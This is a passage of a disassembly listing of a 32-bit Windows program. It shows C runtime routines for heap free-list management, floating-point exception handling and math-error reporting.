		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_419409
		push	3Fh
		pop	edi


loc_419409:				; CODE XREF: sub_419308+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41948B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419462
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419455
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_419455:				; CODE XREF: sub_419308+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419487
; ---------------------------------------------------------------------------


loc_419462:				; CODE XREF: sub_419308+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419478
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419478:				; CODE XREF: sub_419308+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_419487:				; CODE XREF: sub_419308+158j
		shr	edx, cl
		or	[eax], edx


loc_41948B:				; CODE XREF: sub_419308+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_4194A0
; ---------------------------------------------------------------------------


loc_41949D:				; CODE XREF: sub_419308+E5j
		mov	edx, [ebp+arg_4]


loc_4194A0:				; CODE XREF: sub_419308+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4195F6
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419308+52j
					; sub_419308+5Cj
		xor	eax, eax
		jmp	loc_4195F9
; ---------------------------------------------------------------------------


loc_4194B6:				; CODE XREF: sub_419308+49j
		jge	loc_4195F6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_4194E1
		push	3Fh
		pop	esi


loc_4194E1:				; CODE XREF: sub_419308+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_419570
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4194FA
		push	3Fh
		pop	esi


loc_4194FA:				; CODE XREF: sub_419308+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_419549
		cmp	esi, 20h
		jnb	short loc_419525
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_419546
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419546
; ---------------------------------------------------------------------------


loc_419525:				; CODE XREF: sub_419308+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419546
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_419546:				; CODE XREF: sub_419308+214j
					; sub_419308+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_419549:				; CODE XREF: sub_419308+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_419570
		push	3Fh
		pop	esi


loc_419570:				; CODE XREF: sub_419308+1DDj
					; sub_419308+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4195ED
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_4195C4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195B7
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_4195B7:				; CODE XREF: sub_419308+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4195E9
; ---------------------------------------------------------------------------


loc_4195C4:				; CODE XREF: sub_419308+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195DA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_4195DA:				; CODE XREF: sub_419308+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_4195E9:				; CODE XREF: sub_419308+2BAj
		shr	edx, cl
		or	[eax], edx


loc_4195ED:				; CODE XREF: sub_419308+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4195F6:				; CODE XREF: sub_419308+1A2j
					; sub_419308:loc_4194B6j
		push	1
		pop	eax


loc_4195F9:				; CODE XREF: sub_419308+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419308	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4195FE(int,int,double,int)

sub_4195FE	proc near		; CODE XREF: sub_415E6C+51p
					; sub_415FB3+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_4386E8, 0
		jnz	short loc_419633
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_419BB3
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419633:				; CODE XREF: sub_4195FE+Aj
		push	0FFFFh
		mov	dword_469494, 21h
		push	[ebp+arg_C]
		call	sub_419E26
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4195FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419651(int,int,double,double,int)

sub_419651	proc near		; CODE XREF: sub_415E6C:loc_415F2Fp
					; sub_415FB3:loc_416076p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41999C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41968F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4196E9
		add	esp, 18h


loc_41968F:				; CODE XREF: sub_419651+1Aj
		push	[ebp+arg_0]
		call	sub_419C86
		cmp	dword_4386E8, 0
		pop	ecx
		jnz	short loc_4196CD
		test	eax, eax
		jz	short loc_4196CD
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_419BB3
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4196CD:				; CODE XREF: sub_419651+4Ej
					; sub_419651+52j
		push	eax
		call	sub_419C3B
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_419E26
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196E9	proc near		; CODE XREF: sub_419651+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41971B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41971B:				; CODE XREF: sub_4196E9+23j
		test	cl, 2
		jz	short loc_41972E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41972E:				; CODE XREF: sub_4196E9+35j
		test	cl, bl
		jz	short loc_419740
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_419740:				; CODE XREF: sub_4196E9+47j
		test	cl, 4
		jz	short loc_419753
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_419753:				; CODE XREF: sub_4196E9+5Aj
		test	cl, 8
		jz	short loc_419766
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_419766:				; CODE XREF: sub_4196E9+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_419E09
		test	al, bl
		jz	short loc_4197EF
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4197EF:				; CODE XREF: sub_4196E9+FDj
		test	al, 4
		jz	short loc_4197FA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4197FA:				; CODE XREF: sub_4196E9+108j
		test	al, 8
		jz	short loc_419805
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_419805:				; CODE XREF: sub_4196E9+113j
		test	al, 10h
		jz	short loc_41980F
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41980F:				; CODE XREF: sub_4196E9+11Ej
		test	al, 20h
		jz	short loc_419819
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_419819:				; CODE XREF: sub_4196E9+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419858
		cmp	eax, 400h
		jz	short loc_41984A
		cmp	eax, 800h
		jz	short loc_41983E
		cmp	eax, ecx
		jnz	short loc_41985E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41985E
; ---------------------------------------------------------------------------


loc_41983E:				; CODE XREF: sub_4196E9+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_419854
; ---------------------------------------------------------------------------


loc_41984A:				; CODE XREF: sub_4196E9+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_419854:				; CODE XREF: sub_4196E9+15Fj
		mov	[eax], ecx
		jmp	short loc_41985E
; ---------------------------------------------------------------------------


loc_419858:				; CODE XREF: sub_4196E9+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41985E:				; CODE XREF: sub_4196E9+14Bj
					; sub_4196E9+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_419889
		cmp	eax, 200h
		jz	short loc_41987C
		cmp	eax, ecx
		jnz	short loc_419896
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_419896
; ---------------------------------------------------------------------------


loc_41987C:				; CODE XREF: sub_4196E9+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_419894
; ---------------------------------------------------------------------------


loc_419889:				; CODE XREF: sub_4196E9+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_419894:				; CODE XREF: sub_4196E9+19Ej
		mov	[eax], ecx


loc_419896:				; CODE XREF: sub_4196E9+189j
					; sub_4196E9+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_419E17
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_421184	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_419910
		and	dword ptr [esi], 0FFFFFFFEh


loc_419910:				; CODE XREF: sub_4196E9+222j
		test	byte ptr [eax+8], 8
		jz	short loc_419919
		and	dword ptr [esi], 0FFFFFFFBh


loc_419919:				; CODE XREF: sub_4196E9+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_419922
		and	dword ptr [esi], 0FFFFFFF7h


loc_419922:				; CODE XREF: sub_4196E9+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41992B
		and	dword ptr [esi], 0FFFFFFEFh


loc_41992B:				; CODE XREF: sub_4196E9+23Dj
		test	[eax+8], bl
		jz	short loc_419933
		and	dword ptr [esi], 0FFFFFFDFh


loc_419933:				; CODE XREF: sub_4196E9+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_419967
		dec	ecx
		jz	short loc_41995B
		dec	ecx
		jz	short loc_419951
		dec	ecx
		jnz	short loc_419969
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_419969
; ---------------------------------------------------------------------------


loc_419951:				; CODE XREF: sub_4196E9+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_419963
; ---------------------------------------------------------------------------


loc_41995B:				; CODE XREF: sub_4196E9+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_419963:				; CODE XREF: sub_4196E9+270j
		mov	[esi], ecx
		jmp	short loc_419969
; ---------------------------------------------------------------------------


loc_419967:				; CODE XREF: sub_4196E9+257j
		and	[esi], edx


loc_419969:				; CODE XREF: sub_4196E9+260j
					; sub_4196E9+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_419989
		dec	ecx
		jz	short loc_419980
		dec	ecx
		jnz	short loc_419992
		and	[esi], edx
		jmp	short loc_419992
; ---------------------------------------------------------------------------


loc_419980:				; CODE XREF: sub_4196E9+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_419990
; ---------------------------------------------------------------------------


loc_419989:				; CODE XREF: sub_4196E9+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_419990:				; CODE XREF: sub_4196E9+29Ej
		mov	[esi], ecx


loc_419992:				; CODE XREF: sub_4196E9+291j
					; sub_4196E9+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4196E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41999C	proc near		; CODE XREF: sub_419651+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4199C7
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4199C7
		push	ebx
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_419B91
; ---------------------------------------------------------------------------


loc_4199C7:				; CODE XREF: sub_41999C+15j
					; sub_41999C+1Aj
		test	al, 4
		jz	short loc_4199E1
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4199E1
		push	4
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_419B91
; ---------------------------------------------------------------------------


loc_4199E1:				; CODE XREF: sub_41999C+2Dj
					; sub_41999C+33j
		test	al, bl
		jz	loc_419ABB
		test	byte ptr [ebp+arg_8], 8
		jz	loc_419ABB
		push	8
		call	sub_419E49
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_419A93
		cmp	ecx, 400h
		jz	short loc_419A6B
		cmp	ecx, 800h
		jz	short loc_419A43
		cmp	ecx, eax
		jnz	loc_419AB3
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fld	dbl_438078
		fnstsw	ax
		sahf
		ja	short loc_419A3B
		fchs


loc_419A3B:				; CODE XREF: sub_41999C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------


loc_419A43:				; CODE XREF: sub_41999C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A5B
		fld	dbl_438068
		jmp	short loc_419A63
; ---------------------------------------------------------------------------


loc_419A5B:				; CODE XREF: sub_41999C+B5j
		fld	dbl_438078
		fchs


loc_419A63:				; CODE XREF: sub_41999C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------


loc_419A6B:				; CODE XREF: sub_41999C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A83
		fld	dbl_438078
		jmp	short loc_419A8B
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_41999C+DDj
		fld	dbl_438068
		fchs


loc_419A8B:				; CODE XREF: sub_41999C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------


loc_419A93:				; CODE XREF: sub_41999C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fld	dbl_438068
		fnstsw	ax
		sahf
		ja	short loc_419AAB
		fchs


loc_419AAB:				; CODE XREF: sub_41999C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_419AB1:				; CODE XREF: sub_41999C+A5j
					; sub_41999C+CDj ...
		fstp	qword ptr [ecx]


loc_419AB3:				; CODE XREF: sub_41999C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_419B91
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_41999C+47j
					; sub_41999C+51j
		test	al, 2
		jz	loc_419B91
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_419B91
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_419AD6
		mov	esi, ebx


loc_419AD6:				; CODE XREF: sub_41999C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jz	loc_419B7F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_419D48
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_419B21
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_419B75
; ---------------------------------------------------------------------------


loc_419B21:				; CODE XREF: sub_41999C+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jnb	short loc_419B33
		mov	edx, ebx
		jmp	short loc_419B35
; ---------------------------------------------------------------------------


loc_419B33:				; CODE XREF: sub_41999C+191j
		xor	edx, edx


loc_419B35:				; CODE XREF: sub_41999C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_419B69
		sub	eax, ecx


loc_419B4C:				; CODE XREF: sub_41999C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_419B57
		test	esi, esi
		jnz	short loc_419B57
		mov	esi, ebx


loc_419B57:				; CODE XREF: sub_41999C+1B3j
					; sub_41999C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_419B63
		or	byte ptr [ebp+var_C+3],	80h


loc_419B63:				; CODE XREF: sub_41999C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_419B4C


loc_419B69:				; CODE XREF: sub_41999C+1ACj
		test	edx, edx
		jz	short loc_419B75
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_419B75:				; CODE XREF: sub_41999C+183j
					; sub_41999C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_419B81
; ---------------------------------------------------------------------------


loc_419B7F:				; CODE XREF: sub_41999C+14Ej
		mov	esi, ebx


loc_419B81:				; CODE XREF: sub_41999C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_419B8E
		push	10h
		call	sub_419E49
		pop	ecx


loc_419B8E:				; CODE XREF: sub_41999C+1E8j
		and	edi, 0FFFFFFFDh


loc_419B91:				; CODE XREF: sub_41999C+26j
					; sub_41999C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_419BA8
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_419BA8
		push	20h
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_419BA8:				; CODE XREF: sub_41999C+1F9j
					; sub_41999C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419BB3(int,int,int,int,int,int,double,int)

sub_419BB3	proc near		; CODE XREF: sub_4195FE+2Bp
					; sub_419651+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_419C61
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_419C1E
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_419E26
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D813
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419C18
		push	esi
		call	sub_419C3B
		pop	ecx


loc_419C18:				; CODE XREF: sub_419BB3+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_419C1E:				; CODE XREF: sub_419BB3+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_419E26
		push	[ebp+arg_0]
		call	sub_419C3B
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_419BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C3B	proc near		; CODE XREF: sub_419651+7Dp
					; sub_419BB3+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419C56
		jle	short locret_419C60
		cmp	eax, 3
		jg	short locret_419C60
		mov	dword_469494, 22h
		retn
; ---------------------------------------------------------------------------


loc_419C56:				; CODE XREF: sub_419C3B+7j
		mov	dword_469494, 21h

locret_419C60:				; CODE XREF: sub_419C3B+9j
					; sub_419C3B+Ej
		retn
sub_419C3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C61	proc near		; CODE XREF: sub_419BB3+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_437F90


loc_419C68:				; CODE XREF: sub_419C61+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_419C7E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_438068
		jl	short loc_419C68
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419C7E:				; CODE XREF: sub_419C61+Dj
		mov	eax, off_437F94[ecx*8]
		retn
sub_419C61	endp


